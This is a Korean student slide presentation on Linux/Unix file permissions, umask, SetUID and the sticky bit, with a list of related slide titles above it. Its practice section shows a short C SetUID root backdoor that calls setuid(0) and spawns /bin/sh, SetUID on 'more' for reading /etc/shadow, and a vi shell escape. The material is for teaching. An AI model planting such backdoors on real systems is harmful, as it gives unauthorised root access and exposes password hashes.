시스템 보안 SetUID 20072201 구창민 20092235 조기웅.

Slides:



Advertisements
Similar presentations
프로그램이란 프로그램 생성 과정 프로젝트 생성 프로그램 실행 컴퓨터를 사용하는 이유는 무엇인가 ? – 주어진 문제를 쉽고, 빠르게 해결하기 위해서 사용한다. 컴퓨터를 사용한다는 것은 ? – 컴퓨터에 설치 혹은 저장된 프로그램을 사용하는 것이다. 문제를 해결하기 위한.
Advertisements

Format String Attack! 포맷 스트링 공격 경일대학교 사이버보안학과 학년 남주호.

정보 보안 개론과 실습 네트워크 해킹과 보안 3부 해킹 전 정보 획득 Chapter 10. 목록화.
2. 파일 시스템 파일 디렉터리와 경로명 파일 시스템의 구조 새로운 파일 생성 소유권과 허가 파일 유형과 일반화.
김태원 심재일 김상래 강신택. 김태원 심재일 김상래 강신택 인터넷 통신망의 정보를 제공하는 서비스 인터넷의 자원 및 정보는 NIC가 관리 IP주소 또는 도메인으로 정보 검색 이용자 및 통신망 관한 정보를 제공.
Chapter 6. 리눅스 백도어 황 선 환.
CUDA Setting : Install & Compile
(개정판) 뇌를 자극하는 Red Hat Fedora 리눅스 서버 & 네트워크
ANSYS17.2 Student 제품 무료 다운로드
레이스 컨디션.
Ubiquitous Computing Practice - Part I (Installation) -
Homework #6 (1/3) 다음을 수행한 후, 화면(혹은 파일)을 출력하여 제출한다.
한국골프대학 종합정보시스템 Windows Vista 사용자를 위한 Component 설치안내서
한국골프대학 종합정보시스템 Windows 7 사용자를 위한 Component 설치안내서
양방향 파이프의 활용 양방향 통신 파이프는 기본적으로 단방향이므로 양방향 통신을 위해서는 파이프를 2개 생성한다.
Root Filesystem Porting
11장. 포인터 01_ 포인터의 기본 02_ 포인터와 Const.
SqlParameter 클래스 선문 비트 18기 발표자 : 박성한.
① 모든 인터넷 브라우저를 닫는다 ② uninstall_flash_player.exe 실행하여 flash player 삭제한다
Root Filesystem Porting
HW #4 파일과 디렉토리 1. 자신의 HOME 디렉토리 아래에 다음과 같은 구조의 디렉토리 및 파일을 생성하고, 이 구조를 다음 명령을 사용하여 파일로 저장한 후, 이를 프린트하여 제출한다. $ ls –lR linux_unix > hw4-1 $HOME linux_unix.
파일 기술자 파일 기술자 현재 열려있는 파일을 구분하는 정수값 저수준 파일 입출력에서 열린 파일을 참조하는데 사용
WinCE Device Driver 실습 #2
Cross Compiler 설치.
사용자계정관리.
파일 접근권한 제어 stat 구조체의 st_mode 항목에 파일의 종류와 접근권한 정보저장 st_mode 값의 구조.
CHAP 12. 리소스와 보안.
Cross Compiler를이용한 커널 컴파일 및 포팅
㈜시스원이 제공하는 시스템 관리 통합 솔루션 SysmanagerOne Agent설치 안내서
Homework #6 (1/3) 다음을 수행한 후, 화면(혹은 파일)을 출력하여 제출한다.
Device Driver 임베디드 시스템 I.
홀인원2.0 설치 메뉴얼.
HW #4 UNIX 파일과 디렉토리 1. 자신의 HOME 디렉토리 아래에 다음과 같은 구조의 디렉토리 및 파일을 생성하고, 이 구조를 다음 명령을 사용하여 파일로 저장한 후, 이를 프린트하여 제출한다. $ ls –lR linux_unix > hw4-1 $HOME linux_unix.
Homework #6 (1/3) 다음을 수행한 후, 화면(혹은 파일)을 출력하여 제출한다.
Linux/UNIX Programming
Day-27(Tue_10.16) 파일 서비스 설정 AD 가 설치된 환경에서 DHCP 설치 할 경우 권한 자격을 주어야함.
Nessus 4 설치 정보보호응용 조용준.
화면 갈무리 및 파일 권한 설정.
setuid, setgid, sticky bit 권한
Xilinx및 Modelsim License설정하기
WebtoB - Jeus 연동.
PL/SQL 코드 생성 및 수행 1 여러가지 환경 DOS에서 sqlplus Windows에서의 sqlplusw
GM7 PLC 모니터링 프로그램 한국 폴리텍 항공대학 항공정보통신과 송 승 일.
1. 스크립트 작성 마법사 2. NSIS 스크립트 컴파일
PMIS 서버 설정 환경설정 작성자 : 배경환.
S-Work 2.0 DRM 신규 버전 설치 가이드 SOFTCAMP
네트워크 환경 구축과 이미지 전송 호스트/타겟 통신 직렬 통신을 이용한 이미지 전송 수퍼 데몬 BOOTP 환경 구축
Kernel, Ramdisk, JFFS2 Porting
지도교수 : 안미정 교수님 사이버 경찰학과 김영훈
STS 에서 웹 서버 설치 방법.
OpenCV 설정 2.21 만든이 딩딩.
뇌를 자극하는 Solaris bible.
시스템 인터페이스 Lab#5 쉡 실습.
1. 신규 연세메일(Gmail)에 로그인 합니다. ( yonsei. ac. kr )
 파일 아카이브와 압축 명령 익히기.
Homework #5 (1/3) 다음을 수행한 후, 결과 파일들을 출력하여 제출한다.
Linux 기본 사용법.
시스템 인터페이스 Lab1 X-window 및 명령어 사용.
Homework #3 (1/3) 다음을 수행한 후, 결과 파일들을 출력하여 제출한다.
4. 셸을 이용한 명령어 입력. Unix 시스템 쉘 간단한 셸 명령 명령 매개변수(Command arguments)
과제 4: Thread (5월 9일까지) 4장 연습문제 풀이
FTP 스캔 설정 방법 강사 : 이성휘 대리.
Git을 이용한 버전 관리 - Branch 실습
Homework #7 (1/3) 1. 다음 순서에 따라 수행하고, 그 과정의 화면을 캡쳐한다.
Docker Study 6~7.
Chapter 07. 사용자 관리 Solaris3. 사용자 암호 관리 및 소유권 관리
교착 상태 해결 : 교착 상태 탐지 교착 상태 탐지(Deadlock Detection)
시스템 해킹과 보안 permission과 SetUID.
1. 실습 시간에 수행한 avd 생성 및 실행, adb shell 접속 및 명령어 수행 결과를 제출한다.
Presentation transcript:

시스템 보안 SetUID 20072201 구창민 20092235 조기웅

목차 1.리눅스/유닉스의 접근제어 2.리눅스/유닉스의 접근제어의 설정 3.setUid 4.실습

1.리눅스/유닉스의 접근제어 (유닉스의 디렉토리 정보) 1 2 3 4 5 6 7 1.파일에 대한 접근 권한을 표현 2.해당파일에 링크 되어 있는 파일의 개수를 표시 3.해당 파일을 생성한 계정이다. 4.해당 파일을 생성한 그룹이다. 5.파일의 크기를 의미 6.파일의 생성 날짜및 최종 수정날짜를 의미 7.파일 이름입니다.

1.리눅스/유닉스의 접근제어 (파일의 종류에 대한 속성 케릭터) 파일 속성 내용 d 디렉토리 파일 - Regulae File,일반 정규 파일 l Symbolic Link,링크되어 있는 파일 c 버퍼에 저장되지 않는 특수 파일 b 버퍼링된 특수 파일 s 소켓기능을 하는 파일 p 파이프 기능을 수행하는 파일

파일의 접근 권한을 표현 1.rwx=r(읽기.read),w(쓰기.write),(실행.execute) 2.숫자 표기법 위에 숫자 표기법처럼 rwx는 각각의 숫자 r(4)+w(2)+x(1)를 더한 수 ‘7(2진수로 111)’로 읽는다. 3.rwxrwxrwx의 경우에는 파일의 소유자,그룹,기타등이 읽고,쓰고 실행가능하다. (777로 읽음) /etc/rc.d/init.d 디렉토리의 경우 접근권한이 ‘rwxr-xr-x’이므로 접근권한을 755라고 읽는다. 파일의 소유자,그룹,기타등은 모두 파일을 읽고 실행할수 있지만 파일에 쓰거나 변경할수 있는 이는 파일의 소유자만 할수 있다.

2.리눅스/유닉스의 접근제어 설정 1.파일 및 디렉토리 생성 시 기본 권한 Touch a.txt,mkdir a,ls –al 시스템은 기본적으로 디렉토리는 755의 권한으로 파일은 644의 권한으로 생성한다.

2.리눅스/유닉스의 접근제어 설정 vi/etc/bashrc Umask 값에 따라 기본 권한 설정이 결정되는데,파일의 경우에는 기본 생성 최고 권한이 666이며,디렉토리의 경우에는 777이다.디렉토리가 777인 이유는 디렉토리에 실행권한 (x)이 없으면,디렉토리가 안으로 들어갈수 없기 때문이다.또한 기본권한은 최고 권한에서 Umask값을 빼준 값이 된다.즉,위에서 확인한 바와 같이 파일의 경우에는 666에서 022를 뺀값인 644가 기본 생성 권한이며,디렉토리는 777에서 022를 뺀 755가 기본 권한이다. 따라서 이 umask 값을 변경해주면 기본 생성 권한 역시 바뀐다.예를 들어,umask값이 027이 되면 파일은 640(666-027)이 되며,디렉토리는 750(777-027)이 된다.

2.리눅스/유닉스의 접근제어 설정 파일 및 디렉토리 권한 변경 Touch c.txt , ls –al c.txt , chmod 777 c.txt , ls –al c.txt 생성되어 있는 파일에 대한 권한설정은 ‘chmod’명령을 이용 ‘touch’명령으로 ‘c.txt’를 생성하면 기본 권한이 640으로 설정

2.리눅스/유닉스의 접근제어 설정 사용자 계정설정 adduser wishfree 1 cd/home ls –l

2.리눅스/유닉스의 접근제어 설정 파일의 소유및 그룹 chown wishfree c.txt(소유자 변경) charp wishfree c.txt(그룹 변경)

3.SetUID 필요성:프로세스가 사용자보다 높은 수준의 접근을 요구할때 파일 접근 제한 때문에 원할한 기능을 제공 할수 없기 때문에 이를 해결 하기 위한 방법 Root권한만 사람만이 할수 있는것을 일반사용자에게 사용 할수 있게 하는것 Ex)passwd명령을 사용하면 모든사용자에게 관리자와 같은 권한을 가짐 정의:프로세스가 실행되는 동안 권한을 임시로 가지는 것. 종류:RUID,EGID(Root의 UID,EUID는 0으로 시작,사용자 계정의 UID,EUID는 500으로 시작합니다.

3.setUID setUID,SetGID,스틱키 비트 표현 방법 2000,1000이다.4755권한이 있는 파일이 있다면 어떻게 표현 할까? 이 경우에는 ‘rwsr-xr-x를 말한다.소유자 권한에 ‘x’가 있을 자리에 ‘s’가 적혀있다.SetGID는 그룹의 ‘x’자리를 ‘s’로 바꾸어 쓰고,스틱키 비트는 기타 등등에 대한 실행비트인 ‘x’대신에 ‘t’문자를 사용한다.따라서 7777 의 권한은 ‘rwsrwstwt’다. SetUID의 사용 예시 is –al /usr/bin/passwd

3.SetUID 동작원리

3.setuid 취약점 평소에 설정되어있는 UID,GID는 RUID(Real UID), RGID(Real GID)이며 어떤 사용자가 SetUID가 걸려있는 파일을 실행하게 되면 그 사용자의 프로세스 권한을 나타내는 EUID(Effective UID), EGID(Effective GID)가 root로 변한다. 이 점은 많은 취약점을 가지고 있는 것이 단점이다

3.SetUID 스틱키 비트의 동작 파일에 주어지는 권한이 아님 디렉토리에만 주어지며 스틱키 부여된 디렉토리에 있는 파일은 접근권한이 상관없이 파일의 소유자와 관리자 만이 파일을 삭제할수 있다. Ex)tmp 디렉토리

4.실습 SetUID를 이용한 해킹 SetUID 비트를 가진 셀의 생성 원본의 bash 셸을 /tmp 디렉토리에 복사하여 4755권한을 주었다. SetUID비트가 주어진 bash셸 프로그램은 프로세스가 살아있는 소유자 인 root권한으로 실행 cp/bin/bash/tmp/bash chmod 4755 bash

일반 사용자 계정으로 SetUID비트가 주어진 셸 실행 권한 획득 실패 실행전과 다름없는 UID와 GID를 가지고 있는 것을 확인 ./bash

보안 설정 트릭사용 #include<stdio.h> Main(){ setuid(0); setgid(0); system(“/bin/sh”);

Backdoor.c 생성 Backdoor.c 컴파일

컴파일한 bash 셸 파일의 권한 변경 Chmod 4755 bash 셸 실행을 통한 관리자 권한 획득 ./bash

More명령어를 사용하여 사용자 권한 획득 Chmod 4755 more Id more /etc/shadow

Vi를 이용한 해킹 #include<stdio.h> Main(){ setuid(0); setgid(0); system(“/bin/vi”); } :!/bin/sh

./backdoor

수고 하였습니다.